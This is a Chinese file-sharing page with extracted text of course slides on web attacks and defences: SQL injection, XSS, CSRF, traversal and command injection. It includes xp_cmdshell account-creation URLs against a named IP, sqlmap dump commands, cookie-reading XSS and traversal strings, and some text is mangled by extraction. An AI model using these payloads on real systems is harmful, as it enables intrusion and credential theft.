书签 分享 收藏 举报 版权申诉 / 185
上传文档赚钱

类型网络攻防原理与技术课件版第11章Web网站攻击技术.pptx

  • 上传人(卖家):晟晟文业
  • 文档编号:4091273
  • 上传时间:2022-11-10
  • 格式:PPTX
  • 页数:185
  • 大小:10.58MB
  • 【下载声明】
    1. 本站全部试题类文档,若标题没写含答案,则无答案;标题注明含答案的文档,主观题也可能无答案。请谨慎下单,一旦售出,不予退换。
    2. 本站全部PPT文档均不含视频和音频,PPT中出现的音频或视频标识(或文字)仅表示流程,实际无音频或视频文件。请谨慎下单,一旦售出,不予退换。
    3. 本页资料《网络攻防原理与技术课件版第11章Web网站攻击技术.pptx》由用户(晟晟文业)主动上传,其收益全归该用户。163文库仅提供信息存储空间,仅对该用户上传内容的表现方式做保护处理,对上传内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知163文库(点击联系客服),我们立即给予删除!
    4. 请根据预览情况,自愿下载本文。本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
    5. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007及以上版本和PDF阅读器,压缩文件请下载最新的WinRAR软件解压。
    配套讲稿:

    如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。

    特殊限制:

    部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。

    关 键  词:
    网络 攻防 原理 技术 课件 11 Web 网站 攻击
    资源描述:

    1、第 十一 章 Web网站攻击技术1Web应用体系结构脆弱性分析常见Web应用攻击及防范内容提纲2Web应用防火墙WAF3Web应用程序体系结构Web客户端客户端 Web服务器服务器 Web应用程序应用程序 Web应用程序应用程序 Web应用程序应用程序 传输层传输层 数据库数据库 连接器连接器 数据库数据库 连接器连接器 IE,Chrome,Firefox,etc.HTTP/HTTPS请求请求明文或明文或SSLHTTP响应响应(HTML,JavaScript,etc.)Apache IIS etc.Perl C+CGI Java ASP PHP etc.ADO ODBC JDBC etc.Or

    2、acle SQL Server etc.Web应用体系结构潜在弱点 Web客户端 活动内容执行,客户端软件漏洞的利用,交互站点脚本的错误 传输 偷听客户-服务器通信,SSL重定向 Web服务器 Web服务器软件漏洞;Web应用体系结构潜在弱点 Web应用程序 攻击授权、认证、站点结构、输入验证,以及应用程序逻辑 数据库 通过数据库查询运行优先权命令,查询操纵返回额外的数据集。Web应用程序功能与安全隐患的对应关系Web应用安全 HTTP协议是一种简单的、无状态的应用层协议(RFC1945、RFC2616)无状态使攻击变得容易 基于ASCII码,无需弄清复杂的二进制编码机制,攻击者就可了解协议中

    3、的明文信息 互联网中存在的大量中间盒子,HTTP标准(RFC 2616和RFC 7320)的理解如果不一致,就有可能导致一些新的攻击发生HTTP协议安全问题 HTTP会话经常被劫持HTTP协议安全问题 HTTP会话头泄露隐私信息HTTP协议安全问题 中间盒子带来的HTTP安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题HTTP协议安全问题 有了HTTPS,即使被中间人攻击,也能防止攻击 2020.

    4、3.26 国内部分地区网络出现中间人攻击(通过骨干网络进行劫持 HTTPS的443端口):GitHub、京东等被劫持。因证书不对,被浏览器阻止访问HTTPS用自签名证书伪造知名网站证书用自签名证书伪造知名网站证书用自签名证书伪造知名网站证书HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就

    5、安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?有了HTTPS,通信就不会被支持吗?HTTPS就安全了吗?清华大学段海新教授团队关于中间盒子主要研究成果HTTPS就安全了吗?清华大学段海新教授:HTTPS就安全了吗?为什么需要Coo

    6、kie?解决无状态问题:保存客户服务器之间的一些状态信息 Cookie是指网站为了辨别用户身份、进行会话跟踪而储存在用户本地终端上的一些数据(通常经过编码),最早由网景公司的Lou Montulli在1993年3月发明的,后被采纳为RFC标准(RFC2109、RFC2965)Cookie的安全问题 Cookie的生成与维护 由服务器端生成,发送给客户端(一般是浏览器),浏览器会将Cookie的值保存到某个目录下的文本文件内,下次请求同一网站时就发送该Cookie给服务器(前提是浏览器设置为启用Cookie)服务器可以利用Cookie存储信息并经常性地维护这些信息,从而判断在HTTP传输中的状态

    7、Cookie安全问题 Cookie的生成与维护 Cookie在生成时就会被指定一个Expire值,这就是Cookie的生存周期。到期自动清除 如果一台计算机上安装了多个浏览器,每个浏览器都会在各自独立的空间存放Cookie Cookie中的内容大多数经过了编码处理Cookie安全问题 Cookie的一般格式如下:NAME=VALUE;expires=DATE;path=PATH;domain=DOMAIN_NAME;secure 示例autolog=bWlrzTpteXMxy3IzdA%3D%3D;expires=Sat,01-Jan-2018 00:00:00 GMT;path=/;doma

    8、in=Cookie安全问题 Cookie中包含了一些敏感信息,如用户名、计算机名、使用的浏览器和曾经访问的网站等,攻击者可以利用它来进行窃密和欺骗攻击Cookie安全问题1Web应用体系结构脆弱性分析常见Web应用攻击及防范内容提纲2Web应用防火墙WAF3Web应用安全的严重性 在安全漏洞报告中,Web应用安全漏洞一直占据最前列。比如SANS RISK 在2007年8月的安全漏洞报告:SANS RISK Aug 2007 8/78/138/208/27TotalMicrosoft Products0515020Mac10124Linux451515Unix,Solaris,etc626317

    9、Network Device123511Web Applications50352322130OWASP OWASP:Open Web Application Security Project,http:/www.owasp.org 一个全志愿者组成的、非营利性机构 开发和出版免费专业开源的文档、工具和标准,如:“The Ten Most Critical Web Application Security Vulnerabilities”,A Guide to Building Secure Web Applications,WebGoat,WebScarab,各种Web代码测试工具等OWAS

    10、P OWASP:Open Web Application Security Project,http:/www.owasp.org,http:/ 致力于帮助组织机构理解和提高他们的Web安全 组织各种Web安全会议OWASP十大安全漏洞变迁史2007 VS.2004(1/2)OWASP Top 10 2007OWASP Top 10 2004A1.Cross Site Scripting(XSS)A4.Cross Site Scripting(XSS)A2.Injection FlawsA6.Injection FlawsA3.Malicious File Execution(NEW)A4.I

    11、nsecure Direct Object ReferenceA2.Broken Access Control(Split in 2007 T10)A5.Cross Site Request Forgery(CSRF)(NEW)A6.Information Leakage and Improper Error HandlingA7.Improper Error HandlingA7.Broken Authentication and Session ManagementA3.Broken Authentication and Session Management2007 VS.2004(2/2

    12、)OWASP Top 10 2007OWASP Top 10 2004A8.Insecure Cryptographic StorageA8.Insecure StorageA9.Insecure Communications(NEW)A10.Failure to Restrict URL AccessA2.Broken Access Control(split in 2007 T10)A1.Un-validated InputA5.Buffer OverflowsA9.Denial of ServiceA10.Insecure Configuration Management十大安全漏洞-O

    13、WASP 2007 A1.Injection:注入漏洞;A2.Broken Authentication and Session Management:失效的身份认证和会话管理;A3.Cross-Site Scripting(XSS):跨站脚本;A4.Insecure Direct Object References:不安全的直接对象引用;A5.Security Misconfiguration:安全配置错误;OWASP 2013 A6.Sensitive Data Exposure:敏感数据暴露;A7.Missing Function Level Access Control:功能级别访问控

    14、制缺失;A8.Cross-Site Request Forgery(CSRF):跨站请求伪造;A9.Using Know Vulnerable Components:使用已知易受攻击的组件;A10.Unvalidated Redirects and Forwards 未验证的重定向和转发OWASP 2013OWASP 2017OWASP 2017OWASP 2017一、SQL注入攻击及防范注入漏洞 Injection flaws,particularly SQL injection,are common in web applications.Injection occurs when use

    15、r-supplied data is sent to an interpreter as part of a command or query.The attackers hostile data tricks the interpreter into executing unintended commands or changing data.OWASP Definition 注入漏洞 最普遍的注入漏洞包括:SQL注入:通过SQL语句恶意地调用后台数据库 系统调用 通过shell命令调用外部程序任何依赖于解释执行的任何依赖于解释执行的WebWeb应用都有被注应用都有被注入漏洞攻击的危险!入漏

    16、洞攻击的危险!SQL注入原理 例子:通过用户提供的参数来查询表中的数据 SELECT*FROM USERS WHERE SSN=+ssn+“SSN参数来自于用户的输入:参数未经验证或编码 黑客输入:1234 OR 1=1 应用程序构造查询语句:SELECT*FROM USERS WHERE SSN=1234 OR 1=1 结果返回数据库中的每一个用户 永真逻辑!永真逻辑!SQL注入攻击流程FirewallHardened OSWeb ServerApp ServerFirewallDatabasesLegacy SystemsWeb ServicesDirectoriesHuman Resrc

    17、sBillingCustom CodeAPPLICATIONATTACKNetwork Layer Application LayerAccountsFinanceAdministrationTransactionsCommunicationKnowledge MgmtE-CommerceBus.FunctionsHTTP request SQL query DB Table HTTP response “SELECT*FROM accounts WHERE acct=OR 1=1-”1.Web程序提供了用户输入的表程序提供了用户输入的表单;单;2.攻击者通过填写表单数据发起攻击者通过填写表单

    18、数据发起攻击;攻击;3.Web程序通过程序通过SQL语句的形式语句的形式将攻击递交给数据库;将攻击递交给数据库;Account SummaryAcct:5424-6066-2134-4334Acct:4128-7574-3921-0192Acct:5424-9383-2039-4029Acct:4128-0004-1234-02934.数据库执行数据库执行SQL语句,将执行语句,将执行结果加密后返回给应用程序;结果加密后返回给应用程序;5.应用程序解密数据,将结果发应用程序解密数据,将结果发送给用户(攻击者)。送给用户(攻击者)。Account:SKU:OR 1=1-SQL注入示例SQL注入注

    19、入字符串字符串口令可以填口令可以填写任意值写任意值查询到的用查询到的用户资料户资料 靶网网址为http:/26.28.249.154/asd/wyqy/SQL注入:案例 在URL链接中加入”and 1=1”后的返回结果SQL注入:案例 判断注入权限是否是sysadmin,注入语句为and 1=(select is_srvrolemember(sysadmin)SQL注入:案例 下面的URL中包含的SQL语句用来增加一个名为test用户(口令也为test)。返回结果如图10-6所示。http:/26.28.249.154/asd/wyqy/shownews.asp?id=51;exec mast

    20、er.xp_cmdshell net user test test/add-SQL注入:案例 下面,将增加的test用户加入到管理员组。URL链接为http:/26.28.249.154/asd/wyqy/shownews.asp?id=51;exec master.xp_cmdshell net localgroup administrators test/add-,返回结果如图10-7所示。从图中可以看出,页面正常返回,说明添加成功。SQL注入:案例 一般来说,只要是带有参数的动态网页且此网页访问了数据库,那么该页面就有可能存在SQL注入漏洞。如果程序员安全意识不强,没有过滤输入的一些特殊

    21、字符,则存在SQL注入的可能性就非常大。在探测过程中,需要分析服务器返回的详细错误信息。而在默认情况下,浏览器仅显示“HTTP 500服务器错误”,并不显示详细的错误信息。为此,需要调整IE浏览器的配置,即把IE菜单【工具】中【Internet选项】下的高级选项中的【显示友好HTTP错误信息】前面的勾去掉。SQL注入:检测 在形如http:/xxx.xxx.xxx/abc.asp?id=XX的带有参数的ASP动态网页中,XX为参数。参数的个数和类型取决于具体的应用。参数的类型可以是整型或者字符串型。下面我们以http:/xxx.xxx.xxx/abc.asp?id=YY为例进行分析 1、整型参

    22、数时的SQL注入漏洞探测 2、字符串型参数时的SQL注入漏洞探测 3、特殊情况的处理SQL注入:检测Sqlmap 1.检测注入点是否可用:sqlmap.py-u http:/10.0.0.22/nanfang/ProductShow.asp?ID=56Sqlmap 2.列出数据库表:sqlmap.py-u http:/10.0.0.22/nanfang/ProductShow.asp?ID=56 tablesSqlmap 3.列出指定表中的字段:sqlmap.py-u http:/10.0.0.22/nanfang/ProductShow.asp?ID=56-T admin columnsSq

    23、lmap 4.列出表记录:sqlmap.py-u http:/10.0.0.22/nanfang/ProductShow.asp?ID=56-T admin-C id,data,username,password dumpSqlmap 5.验证结果:从图10-12所示的结果可以发现其中的一个用户信息为:id:1username:adminpassword:3acdbb255b45d296 通过md5反查(http:/ 使用特定语言的库函数来代替shell命令和系统调用;对用户输入的信息进行严格检查和过滤:数据类型(字符串、整数等)正确吗?使用的是允许的字符集吗?输入满足格式要求吗?使用“最小权

    24、限”限制数据库用户的权限二、跨站脚本攻击及防范(一)跨站脚本(XSS)漏洞 Cross-Site Scripting(XSS)flaws occur whenever an application takes user supplied data and sends it to a web browser without first validating or encoding that content.XSS allows attackers to execute script in the victims browser which can hijack user sessions,def

    25、ace web sites,possibly introduce worms,etc.OWASP Definition 跨站脚本攻击 工作原理:输入插入包含有JavaScript或其它恶意脚本的HTML标签代码。v问题根源:不当的服务器端输入检查,从而允许问题根源:不当的服务器端输入检查,从而允许用户输入可被客户端浏览器解释的脚本命令。用户输入可被客户端浏览器解释的脚本命令。vXSS是是最普遍最普遍的的Web程序安全问题。程序安全问题。嵌入嵌入JavaScript 脚本的例子:脚本的例子:window.open(http:/ XSS攻击的原理带有带有XSS漏洞的漏洞的Web程序程序 攻击者将恶

    26、意脚本输入攻击者将恶意脚本输入到服务器上的到服务器上的Web页面页面攻击者设置陷阱攻击者设置陷阱 12受害者浏览页面受害者浏览页面 3脚本将受害者的脚本将受害者的Session、Cookie发送给攻击者发送给攻击者 运行于受害者浏览器的运行于受害者浏览器的脚本可以完全访问脚本可以完全访问DOM和和 cookiesCustom CodeAccountsFinanceAdministrationTransactionsCommunicationKnowledge MgmtE-CommerceBus.FunctionsXSS漏洞探测示例“Search”框内的文本信息常框内的文本信息常会反馈回用户页面

    27、会反馈回用户页面alert(document.cookie)脚本执行并将脚本执行并将Session信息通信息通过对话框显示出来过对话框显示出来攻击测攻击测试脚本试脚本 储存式跨站脚本攻击,也称为持久性跨站脚本攻击。如果Web程序允许存储用户数据,并且存储的输入数据没有经过正确的过滤,就有可能发生这类攻击。在这种攻击模式下,攻击者并不需要利用一个恶意链接,只要用户访问了储存式跨站脚本网页,那么恶意数据就将显示为网站的一部分并以受害者身份执行。储存式XSS储存式XSS储存式XSS储存式window.location=http:/ loginsb.asp直接向用户显示msg参数,这样只要简单构造一个

    28、恶意的url就可以触发一次XSS。反射式XSSDOM式XSS 如果构造数据“onclick=javascript:alert(/xss/)”,那么最后添加的html代码就变成了“test”,插入一个onclick事件,点击提交按键,那么就会发生一次DOM式xss攻击。DOM式XSS防御XSS攻击 对Web应用程序的所有输入进行过滤,对危险的HTML字符进行编码:<,>(,)(,)#,#,&对用户进行培训,告知小心使用电子邮件消息或即时消息中的链接;防止访问已知的恶意网站;执行手工或自动化代码扫描,确定并消除潜在的XSS漏洞。三、Cookie欺骗及防范

    29、 伪造Cookie信息,绕过网站的验证过程,不需要输入密码,就可以登录网站,甚至进入网站管理后台伪造Cookie信息 网站登录验证代码伪造Cookie信息利用request.Cookies语句分别获取Cookies中的用户名、口令和randomid的值。如果用户名或口令为空或randomid值不等于12就跳转到登录界面。也就是说,程序是通过验证用户的Cookie信息来确认用户是否已登录。然而,Cookie信息是可以在本地修改的,只要改后的Cookie信息符合验证条件(用户名和口令不空且randomid值等于12),就可进入管理后台界面 判断是否有删帖权限的代码伪造Cookie信息只要Cooki

    30、e中的power值不小于500,任意用户都可以删除任意帖子。同样可以利用上面介绍的方法进行Cookie欺骗攻击面 上面介绍的两个攻击例子之所以成功,是因为在Cookie中保存了用户名、口令以及权限信息而留下了安全隐患。安全原则:一般情况下,网站会话管理机制仅将会话ID保存至Cookie,而将数据本身保存在Web服务器的内存或文件、数据库中伪造Cookie信息 如果Cookie中没有设置安全属性secure”,则Cookie内容在网络中用明文传输,攻击者监听到Cookie内容后可以轻松实现会话劫持 为什么会不设置安全属性监听Cookie来实现会话劫持四、CSRF攻击及防范跨站请求仿冒 A CSR

    31、F(Cross Site Request Forgery)attack forces a logged-on victims browser to send a pre-authenticated request to a vulnerable web application,which then forces the victims browser to perform a hostile action to the benefit of the attacker.OWASP Definition CSRF用户C网站A:存在CSRF漏洞的网站网站B:恶意攻击者用户C:受害者网站A(受信任)网

    32、站B(恶意)6.由于浏览器会带上用户C的cookie,网站A不知道步骤5的请求是B发出的,因此网站A会根据用户C的权限处理步骤5的的请求,这样就达到了伪造用户C请求的目的1.用户C浏览并登录正常网站A2.验证通过,浏览器生成网站A的cookie3.用户C在没有登录退出网站A的情况下,访问恶意网站B4.网站B要求访问第三方网站A5.根据B在步骤4的要求,浏览器带着步骤2处产生的cookie访问网站A 现在绝大多数网站都不会使用GET请求来进行数据更新,而是采用POST来提交,即使这样,攻击者仍然能够实施CSRF攻击CSRF防御CSRF攻击 现有银行的网银交易流程要比例子复杂得多,同时还需要USB

    33、 key、验证码、登录密码和支付密码等一系列安全信息,一般并不存在CSRF安全漏洞,安全是有保障的。CSRF与XSS 重大的差别:CSRF利用的是Web服务器端的漏洞 XSS利用的是Web客户端的漏洞 XSS攻击是实施CSRF攻击前的一个重要步骤:攻击者通过XSS攻击获取有用的攻击信息,比如通过XSS伪造一个提示用户输入身份信息的表单。防御CSRF攻击 设定短暂的可信用户会话时间,完成任务后记得退出可信会话,删除所有cookie;每次提出一个可信行为时,对发出请求的用户进行验证;让网站记住登录用户名和密码时要小心。留在客户端的登录信息可能会攻击者加以利用;在URL和表单中增加的每个请求,必须提

    34、供基本会话令牌以外的每个请求用户验证;从Web应用程序中删除所有XSS漏洞。防御CSRF攻击五、目录遍历及其防范 许多Web应用支持外界以参数的形式来指定服务器上的文件名,如果服务器在处理用户请求时不对文件名进行充分校验,就可能出问题,如:文件被非法获取,导致重要信息被泄露;文件被篡改,如篡改网页内容以发布不实消息,设置圈套将用户诱导至恶意网站,篡改脚本文件从而在服务器上执行任意脚本等;文件被删除,如删除脚本文件或配置文件导致服务器宕机等目录遍历 一般来说,如果Web应用满足以下3个条件时,就有可能产生目录遍历漏洞 外界能够指定文件名 能够使用绝对路径或相对路径等形式来指定其它目录的文件名 没

    35、有对拼接后的文件名进行校验就允许访问该文件目录遍历目录遍历http:/ 使用使用./从当前目录从当前目录跳到上一级目录跳到上一级目录 目录遍历成功将读取到目录遍历成功将读取到windows目录下的目录下的win.ini文件文件 避免由外界指定文件名 将文件名固定,保存在会话变量中,不直接指定文件名,而是使用编号等方法间接指定 文件名中不允许包含目录名 不同系统中表示目录的字符有所不同,常见的有:/、:等 限定文件中仅包含字母或数字 有些攻击使用不同的编码转换进行过滤性的绕过,如通过对参数进行URL编码来绕过检查目录遍历防御downfile.jsp?filename=%66%61%6E%2E%7

    36、0%64%66六、操作系统命令注入及防范 很多Web应用编程语言支持应用通过Shell执行操作系统(OS)命令。通过Shell执行OS命令,或开发中用到的某个方法在其内部使用了Shell,就有可能出现恶意利用Shell提供的功能来任意执行OS命令的情况,这就是OS命令注入OS命令注入OS命令注入 上述攻击成功的主要原因是Shell支持连续执行多条命令,如Unix操作系统Shell中使用分号(;)或管道(|)等字符支持连续执行多条命令,Windows操作系统cmd.exe使用&符号来连接多条命令。这些符号一般称为Shell的元字符,如果OS命令参数中混入了元字符,就会使攻击者添加的操作系统命令被

    37、执行,这就是OS注入漏洞产生的原因OS命令注入 OS命令注入攻击的一般流程为:从外部下载攻击用软件;对下载来的软件授予执行权限;从内部攻击操作系统漏洞以取得管理员权限;攻击者在Web服务器上执行攻击操作,如:浏览、篡改或删除Web服务器内的文件,对外发送邮件,以此服务器作跳板攻击其他服务器等。OS命令注入 OS命令注入攻击防御策略:选择不调用操作系统命令的实现方法,即不调用Shell功能,而用其它方法实现;避免使用内部可能会调用Shell的函数;不将外部输入的字符串作为命令行参数;使用安全的函数对传递给操作系统的参数进行转义,消除Shell元字符带来的威胁。由于Shell转义规则的复杂性以及其

    38、它一些环境相关的原因,这一方法有时很难完全凑效。OS命令注入防御七、HTTP消息头注入攻击及防范 指在重定向或生成Cookie时,基于外部传入的参数生成HTTP响应头:HTTP响应头信息一般以文本格式逐行定义消息头,即消息头之间互相以换行符隔开。攻击者可以利用这一特点,在指定重定向目标URL或Cookie值的参数中插入换行符且该换行符又被直接作为响应输出,从而在受害者的浏览器上任意添加响应消息头或伪造响应消息体:生成任意Cookie,重定向到任意URL,更改页面显示内容,执行任意JavaScript而造成与XSS同样效果HTTP消息头注入 看下面的例子HTTP消息头注入http:/ 采用类似方

    39、法可以生成任意Cookie,看下面例子HTTP消息头注入http:/ 不将外部传入参数作为HTTP响应消息头输出,如不直接使用URL指定重定向目标,而是将其固定或通过编号等方式来指定,或使用Web应用开发工具中提供的会话变量来转交URL;由专门的API来进行重定向或生成Cookie,并严格检验生成消息头的参数中的换行符HTTP消息头注入防御八、其它攻击1、恶意文件执行 Code vulnerable to remote file inclusion(RFI)allows attackers to include hostile code and data,resulting in devast

    40、ating attacks,such as total server compromise.Malicious file execution attacks affect PHP,XML and any framework which accepts filenames or files from users.OWASP Definition 1、恶意文件执行 恶意文件执行漏洞也称为不安全的远程文件包含漏洞;需要用户提供输入文件名的Web程序容易受到攻击:如果对用户输入不验证,攻击者可借此操控Web程序执行系统程序或外部URL;允许上传文件给Web程序带来的危害更大 可以将可执行代码放置到We

    41、b应用中去;可以替换Session文件、日志文件或认证令牌1、防御恶意文件执行漏洞 禁止用户输入被用作输入文件片断;对于必须要用户输入文件名、URL的地方,执行严格的检查验证输入合法性;文件上传的处理要非常小心:文件只允许上传到webroot目录以外的目录中,这样能防止文件被执行;限制或隔离Web程序对文件的访问权限。2、不安全的直接对象引用 A direct object reference occurs when a developer exposes a reference to an internal implementation object,such as a file,direc

    42、tory,database record,or key,as a URL or form parameter.Attackers can manipulate those references to access other objects without authorization.OWASP Definition 2、不安全的直接对象引用 不安全的直接对象引用漏洞也常称为目录遍历漏洞;Web程序常常会暴露内部对象,包括:文件或目录 URL 数据库口令 数据库的一些对象名称,比如表名 如果访问控制配置不合理,攻击者就可以不经授权地操作这些暴露的内部对象。2、防御不安全的直接对象引用 锁定We

    43、b目录。使得通过网络访问Web服务器的用户都不能访问除专门用于存放Web内容的目录以外的目录;对于每一次对象引用都要重新验证授权;禁止通过参数暴露内部对象;建议使用间接映射的方法取代简单的直接对象引用,比如:http:/ 3、信息泄露和不当的错误处理 Applications can unintentionally leak information about their configuration,internal workings,or violate privacy through a variety of application problems.Attackers use this

    44、weakness to steal sensitive data or conduct more serious attacks.OWASP Definition 3、信息泄露和不当的错误处理 敏感信息泄露常常细微难以察觉!常见的脆弱点:堆栈跟踪信息 SQL状态信息 登录失败信息 授权信息4、不当的错误处理示例Microsoft OLE DB Provider for ODBC Drivers error 80004005 MicrosoftODBC Microsoft Access 97 Driver Cant open database VDPROD.java.sql.SQLExcepti

    45、on:ORA-00600:internal error code,arguments:ttcgnd-1,0,at oracle.jdbc.dbaccess.DBError.throwSqlException(DBError.java:169)at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)示例示例1 1:示例示例2 2:错误处理信息对于错误处理信息对于Debug非常有用,但是为攻击者非常有用,但是为攻击者提供了太多潜在可用的攻击信息!提供了太多潜在可用的攻击信息!4、防御信息泄露 每个应用程序都应包含一个标准的错误处理框架来处理异

    46、常:禁止显示堆栈跟踪、数据库访问、协议等相关的信息;Web程序应只提供尽量简短、“刚好够用”的错误处理信息给用户;5、认证和会话管理不完善 Account credentials and session tokens are often not properly protected.Attackers compromise passwords,keys,or authentication tokens to assume other users identities.OWASP Definition 会话(Session)管理 HTTP/HTTPS是“无状态”协议 意味着每一次用户请求都需要认

    47、证 会话管理解决了这样的问题:当一个用户得到服务器认证后,服务器如何识别和处理这个认证用户接下来的请求 Web程序一般会提供内置的会话跟踪方法,方便用户的使用;Web开发者常采用自己的策略来实现会话状态管理,可能会犯错误而导致安全问题。会话管理:Session ID 唯一地标识用户 一个ID仅用于一次认证会话 由服务器生成 以如下的形式发送给客户端:隐式变量 HTTP cookie URL查询串 服务器期待用户在下一次请求时发送同样的ID(用来标识用户已被认证)会话管理:Session Hijacking Session ID可能被泄露和猜解,黑客可以:获取用户的帐号 做任何受害者能做的事情:

    48、一个使用同样Session ID的攻击者将拥有和真正用户相同的特权。认证和会话管理攻击流程Custom CodeAccountsFinanceAdministrationTransactionsCommunicationKnowledge MgmtE-CommerceBus.Functions1用户发送认证信息用户发送认证信息2 站点进行站点进行URL重写重写(i.e.,把把session放到放到URL中中)3用户在一个论坛中点击了用户在一个论坛中点击了http:/ 这个链接这个链接 ?JSESSIONID=9FA1DB9EA.4黑客在黑客在 的日志文件的日志文件中得到用户的中得到用户的 JS

    49、ESSIONID值值 5黑客使用黑客使用 JSESSIONID 获取到受害者的帐号获取到受害者的帐号5、防御会话管理攻击 使用长且复杂的随机Session ID,难以猜解;对Session ID的传输、存储进行保护,防止被泄露和劫持;使用SSL时,必须保护认证和Session ID两部分的内容;URL查询字符串中不要包含有User/Session任何信息。6、不安全的加密存储 Web applications rarely use cryptographic functions properly to protect data and credentials.Attackers use wea

    50、kly protected data to conduct identity theft and other crimes,such as credit card fraud.OWASP Definition 6、不安全的加密存储 常见的问题:对敏感信息没有加密;继续使用已被证明加密强度不高的算法(MD5,SHA-1,RC3,RC4,etc.);加密方法使用不安全,比如对加密口令的存储不加保护;尝试使用自己发明的加密方法(实践证明这种方法比较糟糕!)。6、不安全的加密存储示例Custom CodeAccountsFinanceAdministrationTransactionsCommunic

    展开阅读全文
    提示  163文库所有资源均是用户自行上传分享,仅供网友学习交流,未经上传用户书面授权,请勿作他用。
    关于本文
    本文标题:网络攻防原理与技术课件版第11章Web网站攻击技术.pptx
    链接地址:https://www.163wenku.com/p-4091273.html

    Copyright@ 2017-2037 Www.163WenKu.Com  网站版权所有  |  资源地图   
    IPC备案号:蜀ICP备2021032737号  | 川公网安备 51099002000191号


    侵权投诉QQ:3464097650  资料上传QQ:3464097650
       


    【声明】本站为“文档C2C交易模式”,即用户上传的文档直接卖给(下载)用户,本站只是网络空间服务平台,本站所有原创文档下载所得归上传人所有,如您发现上传作品侵犯了您的版权,请立刻联系我们并提供证据,我们将在3个工作日内予以改正。

    163文库